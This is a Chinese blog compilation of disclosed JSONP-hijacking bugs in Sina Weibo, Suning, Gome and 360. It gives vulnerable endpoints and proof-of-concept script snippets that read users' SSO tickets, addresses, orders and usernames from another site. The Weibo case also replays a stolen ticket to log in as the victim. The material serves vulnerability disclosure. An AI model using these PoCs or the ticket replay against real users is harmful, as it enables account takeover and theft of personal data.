新浪微博之点击我的链接就登录你的微博(JSONP劫持)

生活处处有惊喜啊!逛逛wooyun都能捡到bug. 测试的时候没关burp,逛乌云的时候抓到一条url:

http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253

当returntype=TEXT时,返回的是jsonp格式:

sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});

将ticket,uid,昵称都返回来了。
有了ticket之后,利用与 WooYun: 新浪微博之点击我的链接就登录你的微博(XSS敏感域) 一样。
替换url中的ticket然后访问就会设置认证cookie:

http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<html>
<h4><center>weibo jsonp劫持演示</center></h4>
<body>
<script>
var test = function(obj){
alert('uid: ' + obj.uid);
alert('nickname: ' + obj.nick);
alert('ticket: ' + obj.ticket);
}
var s=document.createElement('script');
s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
document.body.appendChild(s);
</script>
</body>
</html>

登录状态访问:

http://pysandbox.sinaapp.com/kv?act=get&k=weibo_jsonp

苏宁易购多接口问题可泄露用户姓名、地址、订单商品(jsonp案例)

苏宁易购基本所有jsonp接口都没有做防护,导致第三方网站可调用苏宁的jsonp接口获取到用户敏感信息
获取用户登陆状态的接口[是否登陆,会员编号] http://my.suning.com/authStatus?callback=jQuery17206592
获取用户个人信息的接口[加星的邮箱,用户级别,用户安全等级等] http://my.suning.com/memberInfoPageHead.do?callback=jQuery1720402
获取用户订单信息[下单时间,订单号,订单商品,订单金额,订单状态等] http://www.suning.com/emall/myShoppingOrderCmd?itemNum=3&callback=jQuery1720659299
获取用户地址簿接口[所有姓名、住址、加星手机号] http://my.suning.com/address.do?callback=jQuery172081
可能还有一些涉及用户隐私信息的接口我没发现,自查吧

POC

测试方法:
在任何引入了jquery的第三方域名的console里输入如下内容,如果可以显示出用户隐私信息,那么就存在问题
$.ajax({type:"get",url:"http://my.suning.com/authStatus",dataType:"jsonp",jsonp:"callback",success:function(json){console.log('下面是获取到的内容');console.log(json);console.log('上面是在获取到的内容');}});
例如下图是在news.baidu.com获取到的证明截图[一屏幕]

下图是获取到的地址簿截图[地址簿是josnp接口返回html内容,然后js把html插入dom,所以我直接console.log了html内容]

修复方案

要么加token,要么验证refer

国美在线多接口问题可泄露用户姓名、地址、电话等(json劫持实现)

多个jsonp接口无安全措施可泄露用户敏感信息
获取购物车商品接口 http://g.gome.com.cn/ec/homeus/support/add.jsp?callback=jQuery17&method=homeus.checkAllItem&params=%7B%22time%22%3A1433603338755%7D
获取当前登陆国美的用户接口 http://g.gome.com.cn/ec/homeus/navigation/gome/index/loginStyle.jsp?callback=logintop
获取用户待支付数、待评价数、优惠券数等信息的接口 http://g.gome.com.cn/ec/homeus/n/topMygome.jsp?callback=topMygome
获取用户地址簿的接口 http://member.gome.com.cn/myaccount/address/getSecondaryAddress?timer=1433606988720&callback=ckdata
可能还有其他涉及用户敏感信息的jsonp接口我没发现,自查吧

在其他网站引入jquery后在console输入如下内容即可验证是否存在

$.ajax({type:"get",url:"http://member.gome.com.cn/myaccount/address/getSecondaryAddress?timer=1433606988720",dataType:"jsonp",jsonp:"callback",jsonpCallback:"ckdata",success:function(json){console.log('下面是在百度域名下获取到国美的内容');console.log(json);console.log('上面是在百度域名下获取到国美的内容');}});

下面是证明截图

360某json hijacking(只要你登陆访问,我就知道你的用户名,邮箱)

<script>
function wooyun(v)
{
alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

总结:

利用常用poc:
<script>
function wooyun(a){
alert(a.uin);
}
</script>
<script src=http://xx.com/x?callback=wooyun></script>
json接口可随意请求,poc代码劫持点击

乌云jsonp案例的更多相关文章

  1. jsonp案例

    <button id="btn">click</button><script type="text/javascript"> ...

  2. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  3. CSRF简单介绍及利用方法-跨站请求伪造

    0x00 简要介绍 CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的.根据HTTP ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇

    0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,接上篇http://www ...

  5. CSRF简单介绍及利用方法

    x00 简要介绍 CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的.根据HTTP请 ...

  6. ZooKeeper未授权漏洞

    ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交的反馈进行下一步合理操作.最终, ...

  7. jsonp的案例

    一,转发一 首先基于安全的原因,浏览器是存在同源策略这个机制的,同源策略阻止从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性.看起来不知道什么意思,实践一下就知道了. 1.随便建两个网页 一 ...

  8. JSONP跨域访问百度实现搜索提示小案例

    一.JSONP简介 JSONP 全称 JSON with padding(填充式 JSON 或参数式 JSON),JSONP实现跨域请求的原理,就是动态创建<script>标签,然后利用& ...

  9. jsonp全国天气案例

    案例1: 1.获取跨域数据 2.将数据按照下面的效果放到body里面     key: f49570d39b02b3c203526b5d8255aa61 079179afb105ce2bae9f5d0 ...

随机推荐

  1. redis系列之4----redis高级应用(集群搭建、集群分区原理、集群操作)

    文章主目录 Redis集群简介 Redis集群搭建 Redis集群分区原理 集群操作 参考文档 本文是redis学习系列的第四篇,前面我们学习了redis的数据结构和一些高级特性,点击下面链接可回看 ...

  2. Flutter 首页必用组件NestedScrollView

    老孟导读:昨天Flutter 1.17版本重磅发布,新的版本主要是优化性能.修复bug,有人觉得此版本毫无亮点,但也从另一方面体现了Flutter目前针对移动端已经较为完善,想了解具体内容,文末有链接 ...

  3. ASR6505带MCU STM8L+SX1262内核LoRa芯片

    LoRa是Semtech公司采用和推广的一种基于扩频技术的超远距离无线传输方案.一种简单的能实现远距离.长电池寿命.大容量的系统,进而扩展传感网络,LoRaWAN,LinkWAN,MESH组网,自组网 ...

  4. 文件相关命令(find,tree,tar)文件属性信息 date

    6.13day11 文件相关命令(find,tree,tar)文件属性信息date 1 文件相关命令 1.1 find命令 查找文件用f find /root -type f -name " ...

  5. 万盛酒店餐饮管理系统(SpringBoot,SSM,MySQL )

    项目源码获取地址: 链接:https://pan.baidu.com/s/1ip0keQruE2crA8vm1n8ZXQ 提取码:kivb 复制这段内容后打开百度网盘手机App,操作更方便哦 [功能包 ...

  6. Hexo+GitHub Actions 完美打造个人博客

    Hexo简介 Hexo是一款基于Node.js的静态博客框架,依赖少易于安装使用,可以方便的生成静态网页托管在GitHub和Coding上,是搭建博客的首选框架.大家可以进入hexo官网进行详细查看, ...

  7. PHP导出excel文件,第一步先实现PHP模板导出不带数据

    今天继续研究PHP导出excel文件,把复杂的事情简单化,一步步实现功能,首先实现模板文件的导出,随后再实现写入数据后导出,最终实现功能,这是基本思路.中间可以加一步,先自己写入数据导出试试,随后再数 ...

  8. 一文教你如何在ubuntu上快速搭建STM32 CubeIDE环境(图文超详细+文末有附件)

    在快速ubuntu上安装cubeide你值得拥有:适合对linux系统还不是很熟悉的同学: 文章目录 1 下载 cubeide 2 找到软件 3 安装 4 附件 5 总结 1 下载 cubeide 登 ...

  9. js Date对象日期格式化

    dateFormat(d, fmt) { var o = { 'M+': d.getMonth() + 1, 'd+': d.getDate(), 'h+': d.getHours(), 'm+': ...

  10. urldecode二次编码

    0x01 <?php if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!"); exit(); } ...